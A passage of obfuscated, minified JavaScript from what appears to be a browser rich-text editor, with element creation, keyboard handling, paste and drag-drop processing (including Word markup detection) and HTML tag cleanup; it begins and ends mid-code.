h=d._[qn(a[57],f[a[58]]())];if(!h){var g=f[a[60]](a[59]);if(qi(g,-1)){return (1&&b._)(f[a[42]](qn(g,1)),1,f)};return (1&&c._)(f)};if(qt(h[a[61]](0),a[62])){return (1&&b._)(h[a[42]](1),1,f)};return (1&&c._)(h)}}function u(){return function(g,j,f,d){var c={},b={},h={};c._= f;b._= d;h._= g[a[63]][a[13]](j);;rz(c,h);rA(b,h);if(qt(j,a[65])|| qt(j,a[66])){h._[a[69]](a[67],a[68])};g[a[70]](h._);return h._}}function v(a,b){return function(d){var c={};c._= d;if(!c._){return};rB(a,c);rC(b,c)}}function w(b,c,d){return function(g){var h={},f={};h._= g;f._= (1&&b._)(qM()[a[73]],a[74],a[75]);;rD(f,h);rc()(y(f,c,d),100);rc()(z(f),800)}}function A(){return function(f,c){for(var d=0;qq(d,f[a[81]][a[40]]);d++){var b=f[a[81]][d];c[a[69]](b[a[9]],b[a[82]])}}}function B(b){return function(h,c,g){var j={},d={};j._= g;if(!j._){return};d._= h[a[63]][a[13]](c);;rH(d,j);var f=d._[a[83]];if(qi(f[a[9]],h[a[9]])){qK()[a[85]](a[84],j._,h);return};(1&&b._)(f,h);while(f[a[83]]){h[a[70]](f[a[83]])}}}function C(b){return function(d,c){var f={},g={};f._= d;if(!c){return};g._= f._[a[87]](b._[a[86]]);;if(!g._){return};f._[a[88]](b._[a[86]]);rc()(D(b,g,f),5000)}}function E(b){return function(g,f){var d={},c={},j={};var h={};h= F(d);d._= g;c._= f;j._= h;rI(c,d);d._[a[98]](a[97],G(j));d._[a[98]](a[99],H(j));d._[a[98]](a[100],I(j));d._[a[17]][a[98]](a[101],J(b,d));(1&&j._)()}}function K(){return function(b){for(;b;b= b[a[17]]){if(qt(b[a[9]],a[103])){return b}}}}function L(){return function(b){for(;b;b= b[a[17]]){if(qt(b[a[9]],a[104])|| qt(b[a[9]],a[105])){return b}}}}function M(){return function(b){var f={},c={},d={};f._= b[a[45]](a[106]);;c._= 0;for(;qq(c._,f._[a[40]]);c._++){d._= f._[c._];;d._= d._[a[58]]();if(qi(c._,0)){d._= qn(d._[a[42]](0,1)[a[107]](),d._[a[42]](1))};rJ(c,f,d)};return f._[a[108]](a[22])}}function N(){return function(){return qW()[a[111]](qM()[a[110]][a[109]],qM()[a[73]][a[109]])}}function O(){return function(){return qW()[a[111]](qM()[a[110]][a[112]],qM()[a[73]][a[112]])}}function P(b){return function(g,k){var h={},n={},c={},d={},o={},p={},f={};var l={};var m={};var j={};l= Q(c,d,h);m= R(f,c,d,h);j= S(o,p,n);h._= k;o._= l;p._= m;f._= j;g[a[113]]();n._= (1&&b._)(qM()[a[73]],a[114],a[115],a[22]);;c._= g[a[71]];;d._= g[a[72]];;qM()[a[98]](a[118],o._,true);qM()[a[98]](a[119],p._,true);}}function T(){return function(f,d){var c={},b={};c._= f;b._= d;c._[a[98]](a[121],U(b,c))}}function W(c,b){return function(d){if(!c._){return};if(c._[a[123]](d[a[102]])){return};for(var f=d[a[102]];f;f= f[a[17]]){if(f[a[127]]){return}};(1&&b._)()}}function X(b,d,f,c,g){return function(j){if(j&& j[a[127]]){j[a[128]]();if(j[a[129]]){j[a[129]]()};var h=j[a[127]][a[130]];if(h){var n=h[a[60]](j);if(qi(n,-1)){h[a[131]](n,1)}};return};if(j&& j[a[132]]){j[a[132]]()};(1&&b._)();var l=d._;if(!l){return};var m=f._;var h=d._[a[130]];rK(d);rL(f);qM()[a[120]](a[133],c._);rM(g);m(l);if(h){for(var k=0;qq(k,h[a[40]]);k++){h[k][a[128]]();if(h[k][a[129]]){h[k][a[129]]()}}}}}function Y(b,c){return function(d){d[a[98]](a[134],Z(b,c))}}function ba(b){return function(h,g){var f={},d={},c={};f._= h;d._= g;if(!b._){return};c._= b._[a[130]];;rN(c,b);c._[a[39]](f._);rO(f,b);rP(f,d)}}function bb(d,f,b,g,c){return function(n,m){var k={},j={};k._= n;j._= m;if(d._){(1&&f._)(d._);var h=d._[a[130]];if(h){for(var l=0;qq(l,h[a[40]]);l++){h[l][a[128]]();if(h[l][a[129]]){h[l][a[129]]()}}};if(!k._){(1&&b._)()}};rQ(d,k);rR(f,j);if(!g._){qM()[a[98]](a[133],c._);rS(g)}}}function bc(b){return function(f){var g={},c={},d={};g._= f;c._= [];;d._= {};;rT(d,c);d._[a[136]]= bd(c);d._[a[137]]= be(c);rU(g,b,d);return d._}}function bf(c,b){return function(g,d){var f=c._[g];if(!f){f= (1&&b._)(g)};f[a[136]](d)}}function bg(b){return function(f,c){var d=b._[f];if(!d){return};d[a[137]](c)}}function bh(b,c,d){return function(m){var k={},h={},j={},g={};k._= b._[m];;h._= c._[qn(a[138],m)];;j._= d._[qn(a[138],m)];;g._= 0;;rV(k,g);rW(h,g);rX(j,g);if(qt(g._,0)){return};var n={eventName:m,stopBubble:false,returnValue:rf()};var f=[n];for(var l=1;qq(l,arguments[a[40]]);l++){f[a[39]](arguments[l])};if(!n[a[139]]&& j._){j._[a[140]](d._,f)};if(!n[a[139]]&& h._){h._[a[140]](d._,f)};if(!n[a[139]]&& k._ && k._[a[135]]){for(var l=0;qq(l,k._[a[135]][a[40]]);l++){k._[a[135]][l][a[140]](d._,f);if(n[a[139]]){break}}};return n[a[141]]}}function rY(c,b){c._[a[65]]= b._}function rZ(c,b){c._[a[144]]= b._}function sa(c,b){c._[a[30]]= b._}function sb(b,c){if(!b._[a[164]]){c._[a[15]][a[18]]= a[19]}}function sc(b,c){if(!b._[a[167]]){c._[a[15]][a[18]]= a[19]}}function sd(b,c){if(!b._[a[172]]){c._[a[15]][a[18]]= a[19]}}function se(b,c){b._[a[21]]= qn(a[177]+ c._,a[178])}function bi(c,b,d){return function(f){var h={},g={};h._= c._[a[79]];;g._= c._[a[26]];;(1&&d._)(f,bj(b,c,h,g))}}function sh(b){b._[a[190]][a[193]]= a[194]}function si(b,c){b._= c._[a[195]]}function sj(b,c){b._= c._[a[190]]}function sk(b,c){b._= c._[a[73]]}function sl(b,c){if(b._[a[200]]){c._[a[64]]= b._[a[200]]}}function sm(b,c){if(b._[a[201]]){c._[a[15]][a[14]]= b._[a[201]]}}function bk(b){return function(){qK()[a[206]](qn(a[204],b._[a[205]]))}}function sn(b,c){if(b._[a[205]]){c._[a[197]]= b._[a[205]]}}function so(a){a._= false}function bl(a){return function(){a._= true}}function bm(a){return function(){a._= false}}function bn(b,a){return function(){(1&&b._)();(1&&a._)()}}function sp(a,b){a._= b._}function bo(b){return function(){b._[a[210]]()}}function bp(f,d,c,g,b){return function(){if(!f._[a[211]][a[40]]|| qt(f._[a[211]][0][a[9]],a[212])){(1&&d._)(a[213]);(1&&c._)(f._[a[211]][qo(f._[a[211]][a[40]],1)])};if(qt(g._[a[214]],0)){if(qt(g._[a[214]],0)){(1&&d._)(qn((1&&b._)(),a[213]));(1&&c._)(f._[a[211]][qo(f._[a[211]][a[40]],1)])}};return g._[a[215]](0)}}function sq(c,b){c._[a[15]][a[216]]= qn(b._[a[217]],a[27])}function sr(c,b){c._[a[15]][a[218]]= qn(b._[a[219]],a[27])}function ss(c,b){c._[a[15]][a[220]]= qn(b._[a[221]],a[27])}function st(c,b){c._[a[15]][a[222]]= qn(b._[a[223]],a[27])}function su(c,b){c._[a[224]]= b._}function sv(b,c){b._[a[185]]= c._}function sw(c,b){c._[a[225]]= b._}function sx(b,c){b._[a[226]]= c._}function sy(b,c){b._[a[227]]= c._}function bq(c,d,b){return function(){if(qi(c._,d._[a[208]]())){b._[a[227]]= c._= d._[a[208]]()}}}function br(f,b,d,g,c){return function(){var l={},m={},j={},k={},h={};if(qt(f._[a[214]],0)){return};l._= (1&&b._)();;m._= l._;;sz(l,d,m);j._= m._[a[124]]();;k._= qW()[a[232]](32,qW()[a[111]](qn(j._[a[25]],12),qo(g._[a[231]],32)));;h._= qq(qL()[a[233]]()- c._,200)?20:0;;sA(j,g,k,h)}}function bs(d,c,h,j,g,b,f,k){return function(){var m={},q={},q={},l={};var n=d._[a[73]][a[211]];m._= 0;;;for(var o=0;qq(o,n[a[40]]);o++){var p=n[a[235]](o);if(qt(p[a[236]],1)){m._= qW()[a[111]](m._,n[a[235]](o)[a[124]]()[a[237]])}else {if(qt(p[a[236]],3)){if(qt(q._,null)){q._= d._[a[238]]()};q._[a[239]](p);m._= qW()[a[111]](m._,q._[a[124]]()[a[237]])}}};sB(m,d,c);sC(h,m);if(qi(j._,m._)){sD(j,m);sE(g,m);(1&&b._)()};l._= f._[a[241]];;if(l._){sF(l);if(l._&& qt(l._[a[236]],1)){q._= l._[a[124]]();;sG(q,m,k)}}}}function bt(a){return function(){a._= null}}function bu(f,g,k,l,c,m,h,b,d,j){return function(){var J={},H={},p={},F={},C={},D={},E={},v={},q={},t={},u={},w={},y={},r={},s={},o={},A={},z={},I={};var B={};var n={};B= bv(H,p,m);n= bF(p);z._= B;J._= false;;H._= f._;;sH(H);var G=g._[a[242]];p._= (1&&c._)(J._?k._:l._,G,null);;F._= (1&&c._)(p._,qn(G,a[243]),null,a[244]);;C._= (1&&c._)(p._,qn(G,a[243]),null,a[245]);;D._= (1&&c._)(p._,qn(G,a[243]),null,a[246]);;E._= (1&&c._)(p._,qn(G,a[243]),null,a[247]);;v._= (1&&c._)(p._,qn(G,a[248]),null,a[249]);;q._= (1&&c._)(p._,qn(G,a[248]),null,a[250]);;t._= (1&&c._)(p._,qn(G,a[248]),null,a[251]);;u._= (1&&c._)(p._,qn(G,a[248]),null,a[252]);;w._= (1&&c._)(p._,qn(G,a[248]),null,a[253]);;y._= (1&&c._)(p._,qn(G,a[248]),null,a[254]);;r._= (1&&c._)(p._,qn(G,a[248]),null,a[255]);;s._= (1&&c._)(p._,qn(G,a[248]),null,a[256]);;if(!g._[a[257]]){o._= [v._,q._,t._,u._,w._,y._,r._,s._];;A._= 0;for(;qq(A._,o._[a[40]]);A._++){sI(A,o);sJ(A,o)}};if(g._[a[257]]){t._[a[182]]= bx(z);u._[a[182]]= by(z);v._[a[182]]= bz(z);q._[a[182]]= bA(z);w._[a[182]]= bB(z);y._[a[182]]= bC(z);r._[a[182]]= bD(z);s._[a[182]]= bE(z)};;I._= rb()(n,100);p._[a[265]]= bG(p,I);p._[a[264]]= bH(H,h,b,d,J,l,p,j,g,F,C,D,E,v,q,t,u,y,w,r,s);p._[a[264]]();return p._}}function bI(k,o,p,b,g,n,d,c,j,h,m,q,l,f){return function(s){var t={},u={},r={};t._= s;u._= t._?a[271]:k._[a[9]];;tq(u);switch(u._){case a[271]:if(!o._[a[272]]){return};break;case a[274]:if(!o._[a[273]]){return};break;case a[263]:if(!o._[a[275]]){return};break;case a[104]:if(!o._[a[276]]){return};break};var v=o._[qn(a[277],u._)];if(!v){return null};r._= (1&&b._)(p._,a[278],qn(a[279],o._[a[280]]),a[281]);;(1&&g._)(v,r._);r._[a[265]]= bJ(r,p);r._[a[264]]= bK(t,n,d,k,c,u,j,h,m,q,p,r,l,f);r._[a[264]]();return r._}}function bL(c,b){return function(){tA(c);if(b._){for(var d=0;qq(d,b._[a[40]]);d++){b._[d][a[265]]()};tB(b)}}}function bM(o,n,b,f,j,g,p,h,m,l,k,d,c){return function(){var t={},s={};if(o._|| n._|| (1&&b._)()){(1&&f._)();return};t._= j._|| (1&&g._)();;if(t._){switch(t._[a[9]]){case a[263]:;case a[274]:;case a[285]:break;default:var r=t._;tC(t);if(qi(p._[a[286]],a[287])){t._= (1&&h._)(r)};break}};s._= false;;if(!t._&& qt(p._[a[286]],a[287])){tD(s);t._= (1&&m._)()};if(!t._){(1&&f._)();return};if(qi(l._,null)&& qt(l._,t._)&& k._[a[40]]){for(var q=0;qq(q,k._[a[40]]);q++){k._[q][a[264]]()};return};(1&&f._)();tE(l,t);tF(k);if(s._){var u=(1&&d._)(true);if(u){k._[a[39]](u)};return};switch(t._[a[9]]){case a[263]:;case a[104]:;case a[105]:var u=(1&&d._)();if(u){k._[a[39]](u)};k._[a[39]]((1&&c._)());return;case a[274]:var u=(1&&d._)();if(u){k._[a[39]](u)};return;case a[285]:;case a[103]:k._[a[39]]((1&&c._)());break}}}function bN(b,a){return function(){if(b._){(1&&a._)()}}}function bO(g,d,c,b,f){return function(){var h={};var j=g._[a[211]];h._= true;;if(j[a[40]]){var k=j[qo(j[a[40]],1)];switch(k[a[9]]){case a[288]:if(!k[a[211]][a[40]]){(1&&d._)(k)};break;case a[289]:;case a[212]:;case a[290]:break;default:if((1&&c._)(k[a[9]])){if(!k[a[211]][a[40]]){(1&&b._)(k,a[212]);tG(h)}else {if(qt(k[a[211]][a[40]],1)&& qt(k[a[83]][a[9]],a[212])){h._= false}}};break}};if(h._){(1&&b._)((1&&b._)(g._,f._[a[291]]|| a[292]),a[212])}}}function bP(s,h,y,v,A,k,t,o,m,u,r,n,z,j,d,p,l,b,c,g,f,q,w){return function(){var B={};qJ()(s._);s._= rc()(h._,10);if(y._&& qt(v._[a[241]],null)){return};A._[a[50]]= qn((1&&k._)(a[293])+ a[294],t._[a[50]][a[40]]);if(o._&& !m._){B._= false;;var F=u._;if(!t._[a[123]](o._)){B._= true}else {if(qi(v._[a[214]],0)){tH(B);var D=v._[a[241]];var G=(1&&r._)(a[282],a[283]);if(G){for(var C=0;qq(C,G[a[40]]);C++){if(G[C][a[123]](D)){tI(B);break}}}}};if(B._){tJ(o);tK(n);(1&&z._)()}};if(qi(v._[a[214]],0)){var E=(1&&j._)();if(qt(E,null)){(1&&d._)()}else {(1&&p._)(E);return}}else {if(qi((1&&l._)(),null)&& !t._[a[123]]((1&&l._)())){(1&&d._)()}};(1&&b._)();(1&&c._)();(1&&g._)();(1&&f._)();(1&&q._)();(1&&w._)(a[207])}}function bQ(c,b){return function(){qJ()(c._[a[295]]);c._[a[295]]= rc()(b._,10)}}function bR(b){return function(){if(qt(b._,null)){return null};return b._[a[89]]}}function bS(a){return function(){return !!a._}}function bT(b){return function(){if(b._){b._[a[97]]()}}}function bU(c,l,d,f,g,n,m,h,o,b,j,k){return function(){var p={},r={},q={};if(c._){l._[a[21]]= (1&&f._)(d._[a[89]]);(1&&g._)();n._[a[29]](c._);tL(c);tM(d);tN(m)}else {p._= (1&&h._)();;p._= (1&&o._)(p._);c._= (1&&b._)(n._,a[297],a[298],a[22]);r._= m._[a[79]];;q._= qo(n._[a[231]],16);;tO(m);d._= (1&&b._)(c._,a[66],a[299]);d._[a[69]](a[67],false);tP(d,r);tQ(d,q);d._[a[182]]= bV();tR(d,p);d._[a[302]]= bW(l,d,f);d._[a[97]]();d._[a[98]](a[133],j._);tS(k,d)}}}function bX(){return function(j){var f={},l={},m={},m={};f._= j;var s=a[304];var p=/\<(ADDRESS|AREA|BASE|DIV|H1|H2|H3|H4|H5|H6|LI|LINK|META|OL|OPTION|P|TITLE|TD|UL)[^\>]*\>/gi;var n=/\<\/(ADDRESS|AREA|BASE|DIV|H1|H2|H3|H4|H5|H6|LI|LINK|META|OL|OPTION|P|TITLE|TD|UL)[^\>]*\>/gi;var c=/\<(BR|HR)[^\>]*\>/gi;var o=/\<\/?(HTML|HEAD|BODY|FORM|TABLE|TBODY|THEAD|TR)[^\>]*\>/gi;var k=/\s*\n+\s*/g;var h=/^\<(BODY|EMBED|FORM|HEAD|HTML|TABLE|TBODY|THEAD|TR|UL|OL)[ \/\>]/i;var d=/^\<\/(BODY|EMBED|FORM|HEAD|HTML|TABLE|TBODY|THEAD|TR|UL|OL)[ \>]/i;var r=/\<TEXTAREA[^\>]*\>/gi;var q=/\<\/TEXTAREA[^\>]*\>/gi;f._= f._[a[36]](p,a[305]);;;f._= f._[a[36]](n,a[306]);f._= f._[a[36]](c,a[306]);f._= f._[a[36]](o,a[307]);l._= a[22];;var b=f._[a[45]](k);tT(f);for(var g=0;qq(g,b[a[40]]);g++){m._= b[g];;if(qt(m._[a[40]],0)){continue};if(r[a[24]](m._)){for(;qq(g,b[a[40]]);g++){m._= b[g];;tU(f,m);if(n[a[24]](m._)){break}};continue};if(d[a[24]](m._)){l._= l._[a[36]](s,a[22])};tV(f,l,m);if(h[a[24]](m._)){l._+= s}};return f._}}function bY(b){return function(f){var h={},g={},d={};var c=[];h._= 0;;g._= f[a[60]](a[309],h._);;while(qi(g._,-1)){c[a[39]]((1&&b._)(f[a[42]](h._,g._)));d._= f[a[60]](qn(a[310],a[311]),qn(g._,8));;if(qt(d._,-1)){tW(h,g);break};c[a[39]](f[a[42]](g._,qn(d._,9)));tX(h,d);g._= f[a[60]](a[309],h._)};c[a[39]]((1&&b._)(f[a[42]](h._)));return c[a[108]](a[22])}}function bZ(d,c,f,l,m,j,k,n,b,h,g){return function(){if((1&&d._)()){(1&&c._)();return};if((1&&f._)()){return};if(l._){if(qu(m._,false)){var o=j._[a[241]];k._[a[97]]();if(n._&& qt(o,null)){(1&&b._)()}else {if(j._[a[214]]){var p=j._[a[215]](0);j._[a[209]]();j._[a[312]](p)}}}}else {if(qi(h._[a[90]],g._)){g._[a[97]]()}}}}function ca(b,a,d,c){return function(){var f={};f= cb(d,c);if((1&&b._)()){(1&&a._)();return};rc()(f,70);rc()(f,10)}}function cc(c,b,f,d){return function(){var k=(1&&c._)();if(k){return (1&&b._)(k[a[17]])};if(qi(f._[a[241]],d._)){var j=(1&&b._)(f._[a[241]]);if(qi(f._[a[241]],f._[a[313]])){var g=(1&&b._)(f._[a[313]]);if(qi(j,g)){return null}};return j}else {var h=d._[a[211]][f._[a[314]]]|| d._[a[211]][qo(f._[a[314]],1)];if(h&& qt(h[a[236]],1)){return h}}}}function cd(){return function(b){switch(b[a[9]]){case a[315]:;case a[316]:;case a[292]:;case a[317]:;case a[318]:;case a[319]:;case a[320]:;case a[321]:;case a[322]:;case a[323]:;case a[324]:;case a[325]:;case a[104]:;case a[105]:;case a[326]:;case a[103]:;case a[327]:;case a[328]:;case a[329]:;case a[330]:return true}}}function ce(){return function(b){switch(b){case a[315]:;case a[316]:;case a[292]:;case a[317]:;case a[318]:;case a[319]:;case a[320]:;case a[321]:;case a[322]:return true};return false}}function cf(){return function(b){switch(b){case a[315]:;case a[316]:;case a[292]:;case a[317]:;case a[318]:;case a[319]:;case a[320]:;case a[321]:;case a[322]:;case a[324]:;case a[323]:;case a[325]:;case a[104]:;case a[105]:return true};return false}}function cg(c,b){return function(d){var f={};f._= d;while(f._){if(qt(f._,c._)){return f._};if((1&&b._)(f._[a[9]])){return f._};tY(f)};return f._}}function ch(b,c){return function(f){var h={};h._= f;if(qt(h._,b._)){return null};tZ(h);while(h._){if(qt(h._[a[17]],b._)){break};if(qt(h._[a[236]],1)){var g=h._[a[9]];if(qt(g,a[104])|| qt(g,a[105])|| qt(g,a[325])){return h._}};ua(h)};if(!h._){return null};var d=c._[a[331]](h._)[a[18]];if(qt(d,a[332])){return null};return h._}}function ci(b,c){return function(h,g){var d=h[a[124]]();if(g){qK()[a[333]](h[a[9]],d[a[78]],d[a[125]],h[a[79]],b._[a[79]],c._[a[79]])};if(c._){var f=c._[a[124]]();return {width:d[a[125]],height:d[a[25]],left:qn(f[a[78]],d[a[78]]),top:qn(f[a[80]],d[a[80]]),right:qn(d[a[284]],f[a[78]]),bottom:qn(d[a[237]],f[a[80]])}}else {return d}}}function cj(a){return function(b){return (1&&a._)(b)}}function ck(h,g,b,f,c,d){return function(s,r,p){var v={},t={},j={},n={},o={},l={},u={},m={},k={};var q={};q= cl(o,h,n,t);v._= s;t._= r;j._= p;l._= q;;;u._= v._[a[124]]();;m._= h._[a[124]]();;n._= (1&&b._)(h._,a[335],qn(a[336]+ g._[a[337]],a[338]));ud(n,u,m);ue(n,u,m);uf(n,u);ug(n,u);o._= (1&&b._)(h._,a[339],qn(a[336]+ g._[a[337]],a[338]));uh(j,o);if(!t._[a[340]]|| !f._){(1&&c._)(o._,l._)}else {(1&&d._)(o._,l._);ui(n,o);uj(n,l)};t._[a[342]](o._);k._= qM()[a[110]][a[79]];;uk(u,o,k,m,v);ul(o,u,m)}}function cm(j,d,g,f,h,c,b){return function(m,l,r){var o={},k={},q={},q={},p={};o._= m;k._= l;if(qt(r,a[343])){q._= qM()[a[13]](a[344]);;um(q,k);un(q,k);uo(q);q._[a[69]](j._[a[86]],(1&&d._)(k._));(1&&g._)(q._,k._);q._[a[341]]= cn(f,q,h,o,k,c);return q._}else {q._= qM()[a[13]](a[349]);;up(q,k);uq(q,k);ur(q);q._[a[69]](j._[a[86]],(1&&d._)(k._));var n=(1&&b._)(q._,a[351],a[22]);p._= (1&&b._)(q._,a[352],a[22]);;us(p);q._[a[341]]= co(f,q,h,o,k,c);o._[a[353]](n);return q._}}}function cp(b,f,c,d){return function(j,h){var l={},k={},g={};l._= j;k._= h;g._= (1&&b._)(l._,a[354],a[22]);;g._[a[341]]= cq(f,l,c,g,k,d);ut(g);uu(g);return g._}}function ct(j,f,g,c,b,h,d){return function(n){var k={};var l={};l= cu(j,f);k._= l;var m={};m[a[342]]= cv(g,j,k,c,b,h);(1&&d._)(n,m)}}function cw(f,b,g,d,c){return function(){var h={};f._= (1&&b._)(qM()[a[73]],a[363],a[22],a[364]);(1&&d._)(g._[a[365]],f._,a[366]);h._= null;;f._[a[355]]= cx(h,c);f._[a[356]]= cy(h)}}function cz(b){return function(){var c=b._[a[369]](a[368]);for(var d=0;qq(d,c[a[40]]);d++){c[d][a[88]](a[370])};var c=b._[a[369]](a[371]);for(var d=0;qq(d,c[a[40]]);d++){c[d][a[88]](a[372])}}}function cA(k,c,g,j,b,h,d,f){return function(){var l={};if(!k._[a[373]]){return};l._= (1&&c._)();;if(qi(g._,null)){if(qi(g._,l._)|| j._){g._[a[88]](a[370])};uw(g)};if(qt(l._,null)|| j._|| (1&&b._)()){if(qi(h._,null)){h._[a[17]][a[29]](h._);ux(h)}}else {if(qt(h._,null)){(1&&d._)()};(1&&f._)(l._);if(qi(g._,l._)){if(k._[a[374]]){l._[a[69]](a[370],a[22]);uy(g,l)}}}}}function cB(g,c,j,d,h,f,b){return function(n){var k={},l={};if(!g._[a[373]]){return};k._= (1&&c._)(n);;l._= j._[a[124]]();;var m=d._[a[15]][a[14]];if(h._[a[93]][a[123]](a[375])){uz(d,l,g);d._[a[15]][a[377]]= qn(1,qZ()(ra()[a[378]]))|| 0}else {if(qt(g._[a[379]],a[78])){d._[a[15]][a[78]]= qn(qo(l._[a[78]],21)+ g._[a[376]],a[27])}else {d._[a[15]][a[78]]= qn(qo(l._[a[284]],32)+ g._[a[376]],a[27])}};uA(d,k,g);qJ()(f._);if(qi(m,d._[a[15]][a[14]])){f._= rc()(b._,300)}}}function cC(c,d,b){return function(){var g=(1&&c._)();if(!g&& d._[a[291]]){var f=d._[a[291]];if(qt(f[a[58]](),a[381])){f= a[12]};(1&&b._)(f);g= (1&&c._)();if(g&& d._[a[382]]){g[a[93]][a[92]](d._[a[382]])}};return g}}function cD(c,b){return function(){if(c._[a[373]]&& c._[a[365]]){(1&&b._)()}}}function cE(c,b){return function(){if(c._[a[373]]&& c._[a[365]]){(1&&b._)()}}}function cF(p,f,o,l,c,n,m,k,h,q,d,g,b,r,j){return function(s){if(qt(s[a[122]],9)){if(p._[a[384]]()){s[a[113]]();(1&&f._)(s[a[385]]?a[386]:a[387]);return};if(o._[a[388]]&& qv(o._[a[388]],0)){s[a[113]]();var u=a[22];for(var t=0;qq(t,qW()[a[232]](o._[a[388]],100));t++){u+= a[389]};(1&&l._)(u);(1&&c._)(false)};return};if(qt(s[a[122]],13)){n._= qL()[a[233]]();(1&&m._)();if((1&&k._)()){s[a[113]]();return};var v=(1&&h._)();if(v&& qt(q._[a[331]](v)[a[18]],a[390])){return};(1&&d._)();var w=s[a[385]];if(w&& (qt(o._[a[391]],null)|| qt(o._[a[391]][a[58]](),a[381]))){return};if(w){s[a[113]]();return};if(o._[a[291]]&& qt(o._[a[291]][a[58]](),a[381])){(1&&l._)(a[392]);(1&&c._)(false);s[a[113]]();return};rc()(cG(o,g,h,b,r,j),1)}}}function cH(d,b,c,f){return function(g){if(!d._[a[123]](g[a[102]])){return};if(g[a[394]]){switch(g[a[406]]){case a[396]:g[a[113]]();(1&&b._)(a[395]);break;case a[398]:g[a[113]]();(1&&b._)(a[397]);break;case a[400]:g[a[113]]();(1&&b._)(a[399]);break;case a[234]:g[a[113]]();(1&&b._)(a[401]);break;case a[403]:g[a[113]]();(1&&b._)(a[402]);break;case a[405]:g[a[113]]();(1&&b._)(a[404]);break}};if((1&&c._)()){if(qt(g[a[406]],a[407])|| qt(g[a[406]],a[408])){g[a[113]]();(1&&b._)(a[409])}}else {if(!f._[a[410]]){if(qt(g[a[406]],a[407])|| qt(g[a[406]],a[408])){g[a[113]]();(1&&b._)(a[409])}}}}}function cI(b){return function(f){var c=b._[a[369]](a[371]);for(var d=0;qq(d,c[a[40]]);d++){c[d][a[88]](a[372])};if(f){for(var d=0;qq(d,f[a[40]]);d++){f[d][a[69]](a[372],a[22])}}}}function cJ(m,n,o,d,g,b,l,c,f,k,h,p,j){return function(s){var r={},q={},u={},u={};r._= s;q._= m._[a[124]]();;uC(n,q,r);uD(o,q,r);if(qt(d._,a[411])){var t=(1&&b._)(g._);var v=(1&&c._)(l._[a[412]](r._[a[71]],r._[a[72]]));uE(f);if(v&& qt((1&&b._)(v),t)){f._= v};u._= (1&&k._)(a[282],a[283],t,g._,f._|| g._);;uF(u,g);(1&&h._)(true);(1&&p._)(u._)}else {if(d._){u._= (1&&j._)(a[282],a[283]);;if(u._&& qv(u._[a[40]],1)){uG(d);uH(g,u);uI(f,u);(1&&h._)(true);(1&&p._)(u._)}}}}}function cK(b){return function(c){if(qt(c[a[413]],0)){b._= false}}}function cL(c,f,d,l,h,g,b,j,k){return function(n){var m={},o={},p={},q={};m._= n;uJ(m,c);uK(f);uL(d);(1&&l._)();o._= m._[a[102]];;if(!h._[a[123]](o._)){return};if(qt(o._[a[9]][a[58]](),a[414])){if(o._[a[83]]&& qt(o._[a[83]][a[9]],a[285])){o._= o._[a[83]]}};switch(o._[a[9]]){case a[285]:;case a[263]:rc()(cM(o,g),10);return};if((1&&b._)()){p._= m._[a[71]];;q._= m._[a[72]];;rc()(cN(b,q,p,j,o,k),1)}}}function cO(b,d,c){return function(f){f[a[113]]();(1&&b._)();if(qv(f[a[72]],d._[a[124]]()[a[237]])){(1&&c._)(false)}}}function cP(){return function(a){}}function cQ(b,a,c){return function(f){var d={};d._= f;uN(b);uO(a,d);(1&&c._)(d._)}}function cR(c,b,d){return function(f){if(!c._[a[418]]){f[a[113]]();return};uP(b);(1&&d._)(f)}}function cS(c,b){return function(d){(1&&c._)(d);if(!b._[a[418]]){d[a[113]]();return}}}function cT(l,c,h,g,f,b,d,j,k){return function(m){(1&&l._)(m);(1&&c._)();if(!h._[a[418]]){m[a[113]]();return};if(g._){if(qt(m[a[102]],f._)){m[a[113]]();return};(1&&b._)(a[409]);return};var n=m[a[422]][a[421]][0];if(!n){return};if(qi(m[a[422]][a[423]][a[40]],0)){m[a[113]]();(1&&d._)(m[a[422]],m);return};var o=j._[a[424]](m[a[71]],m[a[72]]);m[a[113]]();k._[a[210]]();k._[a[312]](o);(1&&d._)(m[a[422]],m)}}function cU(b){return function(c){(1&&b._)(c[a[426]],c)}}function cV(){return function(b){if(!b){return};if(qi(b[a[60]](a[427]),-1)){return true};if(qi(b[a[60]](a[428]),-1)){return true};if(/style\=[\"][^\"]*mso\-/[a[24]](b)){return true};if(/style\=[\'][^\']*mso\-/[a[24]](b)){return true}}}function cW(b){return function(j,l){var c={};c= cY();var d={types:[],items:[],files:[]};var f={preventDefault:cX()};for(var g=0;qq(g,j[a[40]]);g++){for(var k=0;qq(k,j[g][a[432]][a[40]]);k++){var h=d[a[432]][a[40]];d[a[432]][a[39]](j[g][a[432]][k]);d[a[421]][a[39]](c(j[g],j[g][a[432]][k]))}};(1&&b._)(d,f,l)}}function dc(h,j,f,b,g,d,c,k){return function(u,v,w){var m={},n={},F={},K={},L={},I={},H={},G={},t={},p={},M={},q={},r={},N={},J={},s={},O={},o={};var l={};var C={};var D={};var A={};var z={};var y={};var B={};l= dd(j,m);C= dg(n,L);D= dh(f,b);A= di(j,g,d);z= dj(n,I);y= dk(n,m,c);B= dl(h,t,r,I,k,M,p,N,q,n);m._= u;n._= v;F._= w;K._= C;L._= D;I._= A;H._= z;G._= y;J._= B;if(!F._){if(n._&& qt(n._[a[286]],a[425])&& h._[a[433]]){switch(h._[a[433]][a[58]]()){case a[434]:;case a[435]:n._[a[113]]();return;case a[430]:;case a[436]:uQ(F);break;case a[437]:;case a[438]:uR(F);break}}};var E=m._[a[432]][a[40]];t._= [];;p._= [];;M._= false;;;;;s._= 0;for(;qq(s._,E);s._++){O._= m._[a[432]][s._];;o._= null;;switch(O._){case a[452]:vb(o,O,s,m,K);vc(N,o);break;case a[188]:vd(o,O,s,m,H);ve(q,o);break;case a[458]:vf(o,O,s,m,G);break;case a[459]:vg(o,O,s,m,J);break;case a[457]:;case a[460]:;default:break};if(o._){p._[a[39]](o._)}};if(qt(p._[a[40]],0)){return};if(qt(F._,a[436])){if(N._){N._[a[461]](N._[a[235]])};return true};p._[a[463]](ds());p._[0][a[461]](p._[0][a[235]]);return true}}function dt(d,f,b,c){return function(p,z){var r={},A={},q={},o={},j={},l={},m={},n={},k={};var y={};var s={};var u={};var v={};var w={};var t={};var h={};var g={};y= du(j,r,q);s= dw(l);u= dx(m);v= dy(n);w= dz(b,k,c,j);t= dA(A);h= dB(o);g= dC();r._= z;o._= y;j._= s;l._= u;m._= v;n._= w;k._= t;A._= f._[a[331]](d._)[a[464]];;q._= 0;;p= h(p);p= g(p);return p}}function dD(){return function(b,a){}}function dE(){return function(b,a){}}function dF(){return function(){}}function dG(){return function(a){}}function dH(){return function(){}}function dI(){return function(){}}function 